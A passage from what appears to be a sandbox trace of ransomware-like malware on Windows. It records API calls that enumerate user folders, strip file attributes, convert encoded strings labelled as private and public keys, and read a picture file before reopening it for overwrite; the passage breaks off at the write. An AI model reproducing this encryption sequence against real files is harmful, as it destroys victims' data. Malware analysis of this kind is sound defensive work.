cAlternateFileName="ZLYONG~1.MZ1")) returned 1 [0153.204] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.204] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.204] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x804185a4, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x804185a4, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x856cbd6a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x3be, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="_4dYp.lnk.MZ173801", cAlternateFileName="_4DYPL~1.MZ1")) returned 1 [0153.205] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.205] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.205] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e88e137, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x5ba547c4, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x856f2029, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="_MPfsxTZe1i_HSj02G.lnk.MZ173801", cAlternateFileName="_MPFSX~1.MZ1")) returned 1 [0153.205] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.205] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.205] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf158701a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf158701a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x8571830a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="_trbIxVN.lnk.MZ173801", cAlternateFileName="_TRBIX~1.MZ1")) returned 1 [0153.205] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0153.205] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.205] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf158701a, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xf158701a, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0x8571830a, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="_trbIxVN.lnk.MZ173801", cAlternateFileName="_TRBIX~1.MZ1")) returned 0 [0153.205] GetLastError () returned 0x12 [0153.205] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0153.205] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=39, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Pictures") returned 1 [0153.206] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures" (normalized: "c:\\users\\fd1hvy\\pictures")) returned 0x11 [0153.206] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=39, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Pictures") returned 1 [0153.206] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe9085b74, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe9085b74, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0153.206] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe9085b74, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe9085b74, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0153.206] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ae56be0, ftCreationTime.dwHighDateTime=0x1d5f0fb, ftLastAccessTime.dwLowDateTime=0x16f4c4e0, ftLastAccessTime.dwHighDateTime=0x1d5e0b5, ftLastWriteTime.dwLowDateTime=0x16f4c4e0, ftLastWriteTime.dwHighDateTime=0x1d5e0b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="4yBx", cAlternateFileName="")) returned 1 [0153.206] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda8eddb0, ftCreationTime.dwHighDateTime=0x1d5e35c, ftLastAccessTime.dwLowDateTime=0xb557ad30, ftLastAccessTime.dwHighDateTime=0x1d5eb2f, ftLastWriteTime.dwLowDateTime=0xb557ad30, ftLastWriteTime.dwHighDateTime=0x1d5eb2f, nFileSizeHigh=0x0, nFileSizeLow=0x791a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="9Ogt.bmp", cAlternateFileName="")) returned 1 [0153.206] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0153.206] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0153.206] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\9Ogt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\9ogt.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xda8eddb0, ftCreationTime.dwHighDateTime=0x1d5e35c, ftLastAccessTime.dwLowDateTime=0xb557ad30, ftLastAccessTime.dwHighDateTime=0x1d5eb2f, ftLastWriteTime.dwLowDateTime=0xb557ad30, ftLastWriteTime.dwHighDateTime=0x1d5eb2f, nFileSizeHigh=0x0, nFileSizeLow=0x791a)) returned 1 [0153.206] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9Ogt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\9ogt.bmp")) returned 0x20 [0153.206] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9Ogt.bmp", dwFileAttributes=0x80) returned 1 [0153.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x251dd0c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0153.209] GetCurrentThreadId () returned 0xab4 [0153.209] GetCurrentThreadId () returned 0xab4 [0153.209] GetCurrentThreadId () returned 0xab4 [0153.210] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.210] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x252ed6c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.210] GetCurrentThreadId () returned 0xab4 [0153.210] GetCurrentThreadId () returned 0xab4 [0153.210] GetCurrentThreadId () returned 0xab4 [0153.210] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9Ogt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\9ogt.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.210] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0153.210] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.210] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x791a [0153.210] SetFilePointer (in: hFile=0x294, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0153.210] ReadFile (in: hFile=0x294, lpBuffer=0x2536b70, nNumberOfBytesToRead=0x791a, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x2536b70*, lpNumberOfBytesRead=0x19fa18*=0x791a, lpOverlapped=0x0) returned 1 [0153.211] CloseHandle (hObject=0x294) returned 1 [0153.212] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\9Ogt.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\9ogt.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x294 [0153.213] WriteFile (in: hFile=0x294, lpBuffer=0x253eba0*, 